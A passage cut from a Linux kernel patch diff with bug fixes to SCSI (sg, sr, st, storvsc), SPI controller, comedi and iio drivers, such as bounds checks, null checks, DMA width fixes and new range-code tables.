0, err2; int len; if (count < SZ_SG_IO_HDR) { @@ -551,8 +551,8 @@ sg_new_read(Sg_fd * sfp, char __user *buf, size_t count, Sg_request * srp) goto err_out; } err_out: - err = sg_finish_rem_req(srp); - return (0 == err) ? count : err; + err2 = sg_finish_rem_req(srp); + return err ? : err2 ? : count; } static ssize_t @@ -633,7 +633,8 @@ sg_write(struct file *filp, const char __user *buf, size_t count, loff_t * ppos) else hp->dxfer_direction = (mxsize > 0) ? SG_DXFER_FROM_DEV : SG_DXFER_NONE; hp->dxfer_len = mxsize; - if (hp->dxfer_direction == SG_DXFER_TO_DEV) + if ((hp->dxfer_direction == SG_DXFER_TO_DEV) || + (hp->dxfer_direction == SG_DXFER_TO_FROM_DEV)) hp->dxferp = (char __user *)buf + cmd_size; else hp->dxferp = NULL; @@ -1262,7 +1263,7 @@ sg_mmap(struct file *filp, struct vm_area_struct *vma) } sfp->mmap_called = 1; - vma->vm_flags |= VM_DONTEXPAND | VM_DONTDUMP; + vma->vm_flags |= VM_IO | VM_DONTEXPAND | VM_DONTDUMP; vma->vm_private_data = sfp; vma->vm_ops = &sg_mmap_vm_ops; return 0; @@ -1698,6 +1699,9 @@ static int sg_start_req(Sg_request *srp, unsigned char *cmd) md->from_user = 0; } + if (unlikely(iov_count > UIO_MAXIOV)) + return -EINVAL; + if (iov_count) { int len, size = sizeof(struct sg_iovec) * iov_count; struct iovec *iov; diff --git a/drivers/scsi/sr.c b/drivers/scsi/sr.c index 119d67f9c47ed..1ac9943cbb936 100644 --- a/drivers/scsi/sr.c +++ b/drivers/scsi/sr.c @@ -142,6 +142,9 @@ static int sr_runtime_suspend(struct device *dev) { struct scsi_cd *cd = dev_get_drvdata(dev); + if (!cd) /* E.g.: runtime suspend following sr_remove() */ + return 0; + if (cd->media_present) return -EBUSY; else @@ -1006,6 +1009,7 @@ static int sr_remove(struct device *dev) blk_queue_prep_rq(cd->device->request_queue, scsi_prep_fn); del_gendisk(cd->disk); + dev_set_drvdata(dev, NULL); mutex_lock(&sr_ref_mutex); kref_put(&cd->kref, sr_kref_release); diff --git a/drivers/scsi/st.c b/drivers/scsi/st.c index 2a32036a9404b..fa9811200c9dd 100644 --- a/drivers/scsi/st.c +++ b/drivers/scsi/st.c @@ -1262,9 +1262,9 @@ static int st_open(struct inode *inode, struct file *filp) spin_lock(&st_use_lock); STp->in_use = 0; spin_unlock(&st_use_lock); - scsi_tape_put(STp); if (resumed) scsi_autopm_put_device(STp->device); + scsi_tape_put(STp); return retval; } diff --git a/drivers/scsi/storvsc_drv.c b/drivers/scsi/storvsc_drv.c index 91b76cea3e3cb..913b91c78a22c 100644 --- a/drivers/scsi/storvsc_drv.c +++ b/drivers/scsi/storvsc_drv.c @@ -33,6 +33,7 @@ #include #include #include +#include #include #include #include @@ -630,21 +631,22 @@ static unsigned int copy_to_bounce_buffer(struct scatterlist *orig_sgl, if (bounce_sgl[j].length == PAGE_SIZE) { /* full..move to next entry */ sg_kunmap_atomic(bounce_addr); + bounce_addr = 0; j++; + } - /* if we need to use another bounce buffer */ - if (srclen || i != orig_sgl_count - 1) - bounce_addr = sg_kmap_atomic(bounce_sgl,j); + /* if we need to use another bounce buffer */ + if (srclen && bounce_addr == 0) + bounce_addr = sg_kmap_atomic(bounce_sgl, j); - } else if (srclen == 0 && i == orig_sgl_count - 1) { - /* unmap the last bounce that is < PAGE_SIZE */ - sg_kunmap_atomic(bounce_addr); - } } sg_kunmap_atomic(src_addr - orig_sgl[i].offset); } + if (bounce_addr) + sg_kunmap_atomic(bounce_addr); + local_irq_restore(flags); return total_copied; @@ -803,6 +805,13 @@ static void storvsc_handle_error(struct vmscsi_request *vm_srb, case ATA_12: set_host_byte(scmnd, DID_PASSTHROUGH); break; + /* + * On Some Windows hosts TEST_UNIT_READY command can return + * SRB_STATUS_ERROR, let the upper level code deal with it + * based on the sense information. + */ + case TEST_UNIT_READY: + break; default: set_host_byte(scmnd, DID_TARGET_FAILURE); } @@ -1285,6 +1294,16 @@ static int storvsc_host_reset_handler(struct scsi_cmnd *scmnd) return SUCCESS; } +/* + * The host guarantees to respond to each command, although I/O latencies might + * be unbounded on Azure. Reset the timer unconditionally to give the host a + * chance to perform EH. + */ +static enum blk_eh_timer_return storvsc_eh_timed_out(struct scsi_cmnd *scmnd) +{ + return BLK_EH_RESET_TIMER; +} + static bool storvsc_scsi_cmd_ok(struct scsi_cmnd *scmnd) { bool allowed = true; @@ -1421,13 +1440,12 @@ static int storvsc_queuecommand(struct Scsi_Host *host, struct scsi_cmnd *scmnd) if (ret == -EAGAIN) { /* no more space */ - if (cmd_request->bounce_sgl_count) { + if (cmd_request->bounce_sgl_count) destroy_bounce_buffer(cmd_request->bounce_sgl, cmd_request->bounce_sgl_count); - ret = SCSI_MLQUEUE_DEVICE_BUSY; - goto queue_error; - } + ret = SCSI_MLQUEUE_DEVICE_BUSY; + goto queue_error; } return 0; @@ -1444,6 +1462,7 @@ static struct scsi_host_template scsi_driver = { .bios_param = storvsc_get_chs, .queuecommand = storvsc_queuecommand, .eh_host_reset_handler = storvsc_host_reset_handler, + .eh_timed_out = storvsc_eh_timed_out, .slave_alloc = storvsc_device_alloc, .slave_destroy = storvsc_device_destroy, .slave_configure = storvsc_device_configure, diff --git a/drivers/spi/spi-atmel.c b/drivers/spi/spi-atmel.c index 380387a47b1d8..462af46ceee7e 100644 --- a/drivers/spi/spi-atmel.c +++ b/drivers/spi/spi-atmel.c @@ -594,7 +594,8 @@ static int atmel_spi_next_xfer_dma_submit(struct spi_master *master, *plen = len; - if (atmel_spi_dma_slave_config(as, &slave_config, 8)) + if (atmel_spi_dma_slave_config(as, &slave_config, + xfer->bits_per_word)) goto err_exit; /* Send both scatterlists */ diff --git a/drivers/spi/spi-dw-mid.c b/drivers/spi/spi-dw-mid.c index b9f0192758d6d..1389fefe88141 100644 --- a/drivers/spi/spi-dw-mid.c +++ b/drivers/spi/spi-dw-mid.c @@ -89,7 +89,13 @@ static int mid_spi_dma_init(struct dw_spi *dws) static void mid_spi_dma_exit(struct dw_spi *dws) { + if (!dws->dma_inited) + return; + + dmaengine_terminate_all(dws->txchan); dma_release_channel(dws->txchan); + + dmaengine_terminate_all(dws->rxchan); dma_release_channel(dws->rxchan); } @@ -136,7 +142,7 @@ static int mid_spi_dma_transfer(struct dw_spi *dws, int cs_change) txconf.dst_addr = dws->dma_addr; txconf.dst_maxburst = LNW_DMA_MSIZE_16; txconf.src_addr_width = DMA_SLAVE_BUSWIDTH_4_BYTES; - txconf.dst_addr_width = DMA_SLAVE_BUSWIDTH_2_BYTES; + txconf.dst_addr_width = dws->dma_width; txconf.device_fc = false; txchan->device->device_control(txchan, DMA_SLAVE_CONFIG, @@ -159,7 +165,7 @@ static int mid_spi_dma_transfer(struct dw_spi *dws, int cs_change) rxconf.src_addr = dws->dma_addr; rxconf.src_maxburst = LNW_DMA_MSIZE_16; rxconf.dst_addr_width = DMA_SLAVE_BUSWIDTH_4_BYTES; - rxconf.src_addr_width = DMA_SLAVE_BUSWIDTH_2_BYTES; + rxconf.src_addr_width = dws->dma_width; rxconf.device_fc = false; rxchan->device->device_control(rxchan, DMA_SLAVE_CONFIG, @@ -216,7 +222,6 @@ int dw_spi_mid_init(struct dw_spi *dws) iounmap(clk_reg); dws->num_cs = 16; - dws->fifo_len = 40; /* FIFO has 40 words buffer */ #ifdef CONFIG_SPI_DW_MID_DMA dws->dma_priv = kzalloc(sizeof(struct mid_dma), GFP_KERNEL); diff --git a/drivers/spi/spi-dw.c b/drivers/spi/spi-dw.c index c1abc06899e72..137a4deba5a37 100644 --- a/drivers/spi/spi-dw.c +++ b/drivers/spi/spi-dw.c @@ -394,9 +394,6 @@ static void pump_transfers(unsigned long data) chip = dws->cur_chip; spi = message->spi; - if (unlikely(!chip->clk_div)) - chip->clk_div = dws->max_freq / chip->speed_hz; - if (message->state == ERROR_STATE) { message->status = -EIO; goto early_exit; @@ -438,7 +435,7 @@ static void pump_transfers(unsigned long data) if (transfer->speed_hz) { speed = chip->speed_hz; - if (transfer->speed_hz != speed) { + if ((transfer->speed_hz != speed) || (!chip->clk_div)) { speed = transfer->speed_hz; if (speed > dws->max_freq) { printk(KERN_ERR "MRST SPI0: unsupported" @@ -677,7 +674,6 @@ static int dw_spi_setup(struct spi_device *spi) dev_err(&spi->dev, "No max speed HZ parameter\n"); return -EINVAL; } - chip->speed_hz = spi->max_speed_hz; chip->tmode = 0; /* Tx & Rx */ /* Default SPI mode is SCPOL = 0, SCPH = 0 */ diff --git a/drivers/spi/spi-omap2-mcspi.c b/drivers/spi/spi-omap2-mcspi.c index 86d2158946bbf..798729eb66894 100644 --- a/drivers/spi/spi-omap2-mcspi.c +++ b/drivers/spi/spi-omap2-mcspi.c @@ -136,6 +136,7 @@ struct omap2_mcspi_cs { void __iomem *base; unsigned long phys; int word_len; + u16 mode; struct list_head node; /* Context save and restore shadow register */ u32 chconf0; @@ -801,6 +802,8 @@ static int omap2_mcspi_setup_transfer(struct spi_device *spi, mcspi_write_chconf0(spi, l); + cs->mode = spi->mode; + dev_dbg(&spi->dev, "setup: speed %d, sample %s edge, clk %s\n", OMAP2_MCSPI_MAX_FREQ >> div, (spi->mode & SPI_CPHA) ? "trailing" : "leading", @@ -871,6 +874,7 @@ static int omap2_mcspi_setup(struct spi_device *spi) return -ENOMEM; cs->base = mcspi->base + spi->chip_select * 0x14; cs->phys = mcspi->phys + spi->chip_select * 0x14; + cs->mode = 0; cs->chconf0 = 0; spi->controller_state = cs; /* Link this to context save list */ @@ -1043,6 +1047,16 @@ static void omap2_mcspi_work(struct omap2_mcspi *mcspi, struct spi_message *m) mcspi_read_cs_reg(spi, OMAP2_MCSPI_MODULCTRL); } + /* + * The slave driver could have changed spi->mode in which case + * it will be different from cs->mode (the current hardware setup). + * If so, set par_override (even though its not a parity issue) so + * omap2_mcspi_setup_transfer will be called to configure the hardware + * with the correct mode on the first iteration of the loop below. + */ + if (spi->mode != cs->mode) + par_override = 1; + omap2_mcspi_set_enable(spi, 0); m->status = status; diff --git a/drivers/spi/spi-orion.c b/drivers/spi/spi-orion.c index 66a5f82cf138d..183aa80c90176 100644 --- a/drivers/spi/spi-orion.c +++ b/drivers/spi/spi-orion.c @@ -403,8 +403,6 @@ static int orion_spi_probe(struct platform_device *pdev) struct resource *r; unsigned long tclk_hz; int status = 0; - const u32 *iprop; - int size; master = spi_alloc_master(&pdev->dev, sizeof *spi); if (master == NULL) { @@ -415,10 +413,10 @@ static int orion_spi_probe(struct platform_device *pdev) if (pdev->id != -1) master->bus_num = pdev->id; if (pdev->dev.of_node) { - iprop = of_get_property(pdev->dev.of_node, "cell-index", - &size); - if (iprop && size == sizeof(*iprop)) - master->bus_num = *iprop; + u32 cell_index; + if (!of_property_read_u32(pdev->dev.of_node, "cell-index", + &cell_index)) + master->bus_num = cell_index; } /* we support only mode 0, and no options */ diff --git a/drivers/spi/spi-pl022.c b/drivers/spi/spi-pl022.c index 371cc66f1a0e9..a6f0878d9bf1f 100644 --- a/drivers/spi/spi-pl022.c +++ b/drivers/spi/spi-pl022.c @@ -508,12 +508,12 @@ static void giveback(struct pl022 *pl022) pl022->cur_msg = NULL; pl022->cur_transfer = NULL; pl022->cur_chip = NULL; - spi_finalize_current_message(pl022->master); /* disable the SPI/SSP operation */ writew((readw(SSP_CR1(pl022->virtbase)) & (~SSP_CR1_MASK_SSE)), SSP_CR1(pl022->virtbase)); + spi_finalize_current_message(pl022->master); } /** @@ -1080,7 +1080,7 @@ static int configure_dma(struct pl022 *pl022) pl022->sgt_tx.nents, DMA_TO_DEVICE); err_tx_sgmap: dma_unmap_sg(rxchan->device->dev, pl022->sgt_rx.sgl, - pl022->sgt_tx.nents, DMA_FROM_DEVICE); + pl022->sgt_rx.nents, DMA_FROM_DEVICE); err_rx_sgmap: sg_free_table(&pl022->sgt_tx); err_alloc_tx_sg: diff --git a/drivers/spi/spi-pxa2xx.c b/drivers/spi/spi-pxa2xx.c index 48b396fced0ac..787cfbaa7755d 100644 --- a/drivers/spi/spi-pxa2xx.c +++ b/drivers/spi/spi-pxa2xx.c @@ -393,8 +393,8 @@ static void giveback(struct driver_data *drv_data) cs_deassert(drv_data); } - spi_finalize_current_message(drv_data->master); drv_data->cur_chip = NULL; + spi_finalize_current_message(drv_data->master); } static void reset_sccr1(struct driver_data *drv_data) @@ -546,6 +546,10 @@ static irqreturn_t ssp_int(int irq, void *dev_id) if (!(sccr1_reg & SSCR1_TIE)) mask &= ~SSSR_TFS; + /* Ignore RX timeout interrupt if it is disabled */ + if (!(sccr1_reg & SSCR1_TINTE)) + mask &= ~SSSR_TINT; + if (!(status & mask)) return IRQ_NONE; @@ -1324,7 +1328,9 @@ static int pxa2xx_spi_suspend(struct device *dev) if (status != 0) return status; write_SSCR0(0, drv_data->ioaddr); - clk_disable_unprepare(ssp->clk); + + if (!pm_runtime_suspended(dev)) + clk_disable_unprepare(ssp->clk); return 0; } @@ -1338,7 +1344,8 @@ static int pxa2xx_spi_resume(struct device *dev) pxa2xx_spi_dma_resume(drv_data); /* Enable the SSP clock */ - clk_prepare_enable(ssp->clk); + if (!pm_runtime_suspended(dev)) + clk_prepare_enable(ssp->clk); /* Start the queue running */ status = spi_master_resume(drv_data->master); diff --git a/drivers/spi/spi-xilinx.c b/drivers/spi/spi-xilinx.c index 34d18dcfa0db3..109a535b639c9 100644 --- a/drivers/spi/spi-xilinx.c +++ b/drivers/spi/spi-xilinx.c @@ -315,7 +315,7 @@ static int xilinx_spi_txrx_bufs(struct spi_device *spi, struct spi_transfer *t) } /* See if there is more data to send */ - if (!xspi->remaining_bytes > 0) + if (xspi->remaining_bytes <= 0) break; } diff --git a/drivers/spi/spi.c b/drivers/spi/spi.c index 32b7bb111eb6b..cc80ab14aa326 100644 --- a/drivers/spi/spi.c +++ b/drivers/spi/spi.c @@ -1030,8 +1030,7 @@ static struct class spi_master_class = { * * The caller is responsible for assigning the bus number and initializing * the master's methods before calling spi_register_master(); and (after errors - * adding the device) calling spi_master_put() and kfree() to prevent a memory - * leak. + * adding the device) calling spi_master_put() to prevent a memory leak. */ struct spi_master *spi_alloc_master(struct device *dev, unsigned size) { @@ -1048,7 +1047,7 @@ struct spi_master *spi_alloc_master(struct device *dev, unsigned size) master->bus_num = -1; master->num_chipselect = 1; master->dev.class = &spi_master_class; - master->dev.parent = get_device(dev); + master->dev.parent = dev; spi_master_set_devdata(master, &master[1]); return master; diff --git a/drivers/staging/comedi/comedi_compat32.c b/drivers/staging/comedi/comedi_compat32.c index ad208cdd53d40..83bcf968ac639 100644 --- a/drivers/staging/comedi/comedi_compat32.c +++ b/drivers/staging/comedi/comedi_compat32.c @@ -270,7 +270,7 @@ static int compat_cmd(struct file *file, unsigned long arg) { struct comedi_cmd __user *cmd; struct comedi32_cmd_struct __user *cmd32; - int rc; + int rc, err; cmd32 = compat_ptr(arg); cmd = compat_alloc_user_space(sizeof(*cmd)); @@ -279,7 +279,15 @@ static int compat_cmd(struct file *file, unsigned long arg) if (rc) return rc; - return translated_ioctl(file, COMEDI_CMD, (unsigned long)cmd); + rc = translated_ioctl(file, COMEDI_CMD, (unsigned long)cmd); + if (rc == -EAGAIN) { + /* Special case: copy cmd back to user. */ + err = put_compat_cmd(cmd32, cmd); + if (err) + rc = err; + } + + return rc; } /* Handle 32-bit COMEDI_CMDTEST ioctl. */ diff --git a/drivers/staging/comedi/drivers/adl_pci7x3x.c b/drivers/staging/comedi/drivers/adl_pci7x3x.c index e3960745f506e..49cb692068963 100644 --- a/drivers/staging/comedi/drivers/adl_pci7x3x.c +++ b/drivers/staging/comedi/drivers/adl_pci7x3x.c @@ -119,10 +119,21 @@ static int adl_pci7x3x_do_insn_bits(struct comedi_device *dev, unsigned int bits = data[1]; if (mask) { + unsigned int val; + s->state &= ~mask; s->state |= (bits & mask); - - outl(s->state, dev->iobase + reg); + val = s->state; + if (s->n_chan == 16) { + /* + * It seems the PCI-7230 needs the 16-bit DO state + * to be shifted left by 16 bits before being written + * to the 32-bit register. Set the value in both + * halves of the register to be sure. + */ + val |= val << 16; + } + outl(val, dev->iobase + reg); } /* diff --git a/drivers/staging/comedi/drivers/cb_pcidas64.c b/drivers/staging/comedi/drivers/cb_pcidas64.c index c3e5495b4f06a..4220a44186c4b 100644 --- a/drivers/staging/comedi/drivers/cb_pcidas64.c +++ b/drivers/staging/comedi/drivers/cb_pcidas64.c @@ -455,6 +455,29 @@ static const struct comedi_lrange ai_ranges_64xx = { } }; +static const uint8_t ai_range_code_64xx[8] = { + 0x0, 0x1, 0x2, 0x3, /* bipolar 10, 5, 2,5, 1.25 */ + 0x8, 0x9, 0xa, 0xb /* unipolar 10, 5, 2.5, 1.25 */ +}; + +/* analog input ranges for 64-Mx boards */ +static const struct comedi_lrange ai_ranges_64_mx = { + 7, { + BIP_RANGE(5), + BIP_RANGE(2.5), + BIP_RANGE(1.25), + BIP_RANGE(0.625), + UNI_RANGE(5), + UNI_RANGE(2.5), + UNI_RANGE(1.25) + } +}; + +static const uint8_t ai_range_code_64_mx[7] = { + 0x0, 0x1, 0x2, 0x3, /* bipolar 5, 2.5, 1.25, 0.625 */ + 0x9, 0xa, 0xb /* unipolar 5, 2.5, 1.25 */ +}; + /* analog input ranges for 60xx boards */ static const struct comedi_lrange ai_ranges_60xx = { 4, @@ -466,6 +489,10 @@ static const struct comedi_lrange ai_ranges_60xx = { } }; +static const uint8_t ai_range_code_60xx[4] = { + 0x0, 0x1, 0x4, 0x7 /* bipolar 10, 5, 0.5, 0.05 */ +}; + /* analog input ranges for 6030, etc boards */ static const struct comedi_lrange ai_ranges_6030 = { 14, @@ -487,6 +514,11 @@ static const struct comedi_lrange ai_ranges_6030 = { } }; +static const uint8_t ai_range_code_6030[14] = { + 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, /* bip 10, 5, 2, 1, 0.5, 0.2, 0.1 */ + 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf /* uni 10, 5, 2, 1, 0.5, 0.2, 0.1 */ +}; + /* analog input ranges for 6052, etc boards */ static const struct comedi_lrange ai_ranges_6052 = { 15, @@ -509,6 +541,11 @@ static const struct comedi_lrange ai_ranges_6052 = { } }; +static const uint8_t ai_range_code_6052[15] = { + 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, /* bipolar 10 ... 0.05 */ + 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf /* unipolar 10 ... 0.1 */ +}; + /* analog input ranges for 4020 board */ static const struct comedi_lrange ai_ranges_4020 = { 2, @@ -616,6 +653,7 @@ struct pcidas64_board { int ai_bits; /* analog input resolution */ int ai_speed; /* fastest conversion period in ns */ const struct comedi_lrange *ai_range_table; + const uint8_t *ai_range_code; int ao_nchan; /* number of analog out channels */ int ao_bits; /* analog output resolution */ int ao_scan_speed; /* analog output scan speed */ @@ -674,6 +712,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 10000, .layout = LAYOUT_64XX, .ai_range_table = &ai_ranges_64xx, + .ai_range_code = ai_range_code_64xx, .ao_range_table = &ao_ranges_64xx, .ao_range_code = ao_range_code_64xx, .ai_fifo = &ai_fifo_64xx, @@ -689,6 +728,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 10000, .layout = LAYOUT_64XX, .ai_range_table = &ai_ranges_64xx, + .ai_range_code = ai_range_code_64xx, .ao_range_table = &ao_ranges_64xx, .ao_range_code = ao_range_code_64xx, .ai_fifo = &ai_fifo_64xx, @@ -703,7 +743,8 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_bits = 16, .ao_scan_speed = 10000, .layout = LAYOUT_64XX, - .ai_range_table = &ai_ranges_64xx, + .ai_range_table = &ai_ranges_64_mx, + .ai_range_code = ai_range_code_64_mx, .ao_range_table = &ao_ranges_64xx, .ao_range_code = ao_range_code_64xx, .ai_fifo = &ai_fifo_64xx, @@ -718,7 +759,8 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_bits = 16, .ao_scan_speed = 10000, .layout = LAYOUT_64XX, - .ai_range_table = &ai_ranges_64xx, + .ai_range_table = &ai_ranges_64_mx, + .ai_range_code = ai_range_code_64_mx, .ao_range_table = &ao_ranges_64xx, .ao_range_code = ao_range_code_64xx, .ai_fifo = &ai_fifo_64xx, @@ -733,7 +775,8 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_bits = 16, .ao_scan_speed = 10000, .layout = LAYOUT_64XX, - .ai_range_table = &ai_ranges_64xx, + .ai_range_table = &ai_ranges_64_mx, + .ai_range_code = ai_range_code_64_mx, .ao_range_table = &ao_ranges_64xx, .ao_range_code = ao_range_code_64xx, .ai_fifo = &ai_fifo_64xx, @@ -748,6 +791,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_bits = 16, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_60xx, + .ai_range_code = ai_range_code_60xx, .ao_range_table = &range_bipolar10, .ao_range_code = ao_range_code_60xx, .ai_fifo = &ai_fifo_60xx, @@ -763,6 +807,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 100000, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_60xx, + .ai_range_code = ai_range_code_60xx, .ao_range_table = &range_bipolar10, .ao_range_code = ao_range_code_60xx, .ai_fifo = &ai_fifo_60xx, @@ -777,6 +822,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 100000, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_60xx, + .ai_range_code = ai_range_code_60xx, .ao_range_table = &range_bipolar10, .ao_range_code = ao_range_code_60xx, .ai_fifo = &ai_fifo_60xx, @@ -792,6 +838,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 100000, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_60xx, + .ai_range_code = ai_range_code_60xx, .ao_range_table = &range_bipolar10, .ao_range_code = ao_range_code_60xx, .ai_fifo = &ai_fifo_60xx, @@ -807,6 +854,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 10000, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_6030, + .ai_range_code = ai_range_code_6030, .ao_range_table = &ao_ranges_6030, .ao_range_code = ao_range_code_6030, .ai_fifo = &ai_fifo_60xx, @@ -822,6 +870,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 10000, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_6030, + .ai_range_code = ai_range_code_6030, .ao_range_table = &ao_ranges_6030, .ao_range_code = ao_range_code_6030, .ai_fifo = &ai_fifo_60xx, @@ -835,6 +884,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_nchan = 0, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_6030, + .ai_range_code = ai_range_code_6030, .ai_fifo = &ai_fifo_60xx, .has_8255 = 0, }, @@ -846,6 +896,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_nchan = 0, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_6030, + .ai_range_code = ai_range_code_6030, .ai_fifo = &ai_fifo_60xx, .has_8255 = 0, }, @@ -858,6 +909,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 0, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_60xx, + .ai_range_code = ai_range_code_60xx, .ai_fifo = &ai_fifo_60xx, .has_8255 = 0, }, @@ -871,6 +923,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 100000, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_60xx, + .ai_range_code = ai_range_code_60xx, .ao_range_table = &range_bipolar10, .ao_range_code = ao_range_code_60xx, .ai_fifo = &ai_fifo_60xx, @@ -886,6 +939,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 100000, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_60xx, + .ai_range_code = ai_range_code_60xx, .ao_range_table = &range_bipolar10, .ao_range_code = ao_range_code_60xx, .ai_fifo = &ai_fifo_60xx, @@ -901,6 +955,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 1000, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_6052, + .ai_range_code = ai_range_code_6052, .ao_range_table = &ao_ranges_6030, .ao_range_code = ao_range_code_6030, .ai_fifo = &ai_fifo_60xx, @@ -916,6 +971,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 3333, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_6052, + .ai_range_code = ai_range_code_6052, .ao_range_table = &ao_ranges_6030, .ao_range_code = ao_range_code_6030, .ai_fifo = &ai_fifo_60xx, @@ -931,6 +987,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 1000, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_6052, + .ai_range_code = ai_range_code_6052, .ao_range_table = &ao_ranges_6030, .ao_range_code = ao_range_code_6030, .ai_fifo = &ai_fifo_60xx, @@ -946,6 +1003,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 1000, .layout = LAYOUT_60XX, .ai_range_table = &ai_ranges_6052, + .ai_range_code = ai_range_code_6052, .ao_range_table = &ao_ranges_6030, .ao_range_code = ao_range_code_6030, .ai_fifo = &ai_fifo_60xx, @@ -980,6 +1038,7 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_scan_speed = 10000, .layout = LAYOUT_64XX, .ai_range_table = &ai_ranges_64xx, + .ai_range_code = ai_range_code_64xx, .ai_fifo = ai_fifo_64xx, .has_8255 = 1, }, @@ -991,7 +1050,8 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_nchan = 0, .ao_scan_speed = 10000, .layout = LAYOUT_64XX, - .ai_range_table = &ai_ranges_64xx, + .ai_range_table = &ai_ranges_64_mx, + .ai_range_code = ai_range_code_64_mx, .ai_fifo = ai_fifo_64xx, .has_8255 = 1, }, @@ -1003,7 +1063,8 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_nchan = 0, .ao_scan_speed = 10000, .layout = LAYOUT_64XX, - .ai_range_table = &ai_ranges_64xx, + .ai_range_table = &ai_ranges_64_mx, + .ai_range_code = ai_range_code_64_mx, .ai_fifo = ai_fifo_64xx, .has_8255 = 1, }, @@ -1015,7 +1076,8 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_nchan = 0, .ao_scan_speed = 10000, .layout = LAYOUT_64XX, - .ai_range_table = &ai_ranges_64xx, + .ai_range_table = &ai_ranges_64_mx, + .ai_range_code = ai_range_code_64_mx, .ai_fifo = ai_fifo_64xx, .has_8255 = 1, }, @@ -1027,7 +1089,8 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_nchan = 2, .ao_scan_speed = 10000, .layout = LAYOUT_64XX, - .ai_range_table = &ai_ranges_64xx, + .ai_range_table = &ai_ranges_64_mx, + .ai_range_code = ai_range_code_64_mx, .ai_fifo = ai_fifo_64xx, .has_8255 = 1, }, @@ -1039,7 +1102,8 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_nchan = 2, .ao_scan_speed = 10000, .layout = LAYOUT_64XX, - .ai_range_table = &ai_ranges_64xx, + .ai_range_table = &ai_ranges_64_mx, + .ai_range_code = ai_range_code_64_mx, .ai_fifo = ai_fifo_64xx, .has_8255 = 1, }, @@ -1051,7 +1115,8 @@ static const struct pcidas64_board pcidas64_boards[] = { .ao_nchan = 2, .ao_scan_speed = 10000, .layout = LAYOUT_64XX, - .ai_range_table = &ai_ranges_64xx, + .ai_range_table = &ai_ranges_64_mx, + .ai_range_code = ai_range_code_64_mx, .ai_fifo = ai_fifo_64xx, .has_8255 = 1, }, @@ -1148,45 +1213,8 @@ static unsigned int ai_range_bits_6xxx(const struct comedi_device *dev, unsigned int range_index) { const struct pcidas64_board *thisboard = comedi_board(dev); - const struct comedi_krange *range = - &thisboard->ai_range_table->range[range_index]; - unsigned int bits = 0; - switch (range->max) { - case 10000000: - bits = 0x000; - break; - case 5000000: - bits = 0x100; - break; - case 2000000: - case 2500000: - bits = 0x200; - break; - case 1000000: - case 1250000: - bits = 0x300; - break; - case 500000: - bits = 0x400; - break; - case 200000: - case 250000: - bits = 0x500; - break; - case 100000: - bits = 0x600; - break; - case 50000: - bits = 0x700; - break; - default: - comedi_error(dev, "bug! in ai_range_bits_6xxx"); - break; - } - if (range->min == 0) - bits += 0x900; - return bits; + return thisboard->ai_range_code[range_index] << 8; } static unsigned int hw_revision(const struct comedi_device *dev, diff --git a/drivers/staging/comedi/drivers/daqboard2000.c b/drivers/staging/comedi/drivers/daqboard2000.c index b87f95c3e17db..1465a26b15cf3 100644 --- a/drivers/staging/comedi/drivers/daqboard2000.c +++ b/drivers/staging/comedi/drivers/daqboard2000.c @@ -678,7 +678,7 @@ static const void *daqboard2000_find_boardinfo(struct comedi_device *dev, const struct daq200_boardtype *board; int i; - if (pcidev->subsystem_device != PCI_VENDOR_ID_IOTECH) + if (pcidev->subsystem_vendor != PCI_VENDOR_ID_IOTECH) return NULL; for (i = 0; i < ARRAY_SIZE(boardtypes); i++) { diff --git a/drivers/staging/iio/accel/sca3000_core.c b/drivers/staging/iio/accel/sca3000_core.c index 32950ad948577..b30c41b3e0cc1 100644 --- a/drivers/staging/iio/accel/sca3000_core.c +++ b/drivers/staging/iio/accel/sca3000_core.c @@ -588,7 +588,7 @@ static ssize_t sca3000_read_frequency(struct device *dev, goto error_ret_mut; ret = sca3000_read_ctrl_reg(st, SCA3000_REG_CTRL_SEL_OUT_CTRL); mutex_unlock(&st->lock); - if 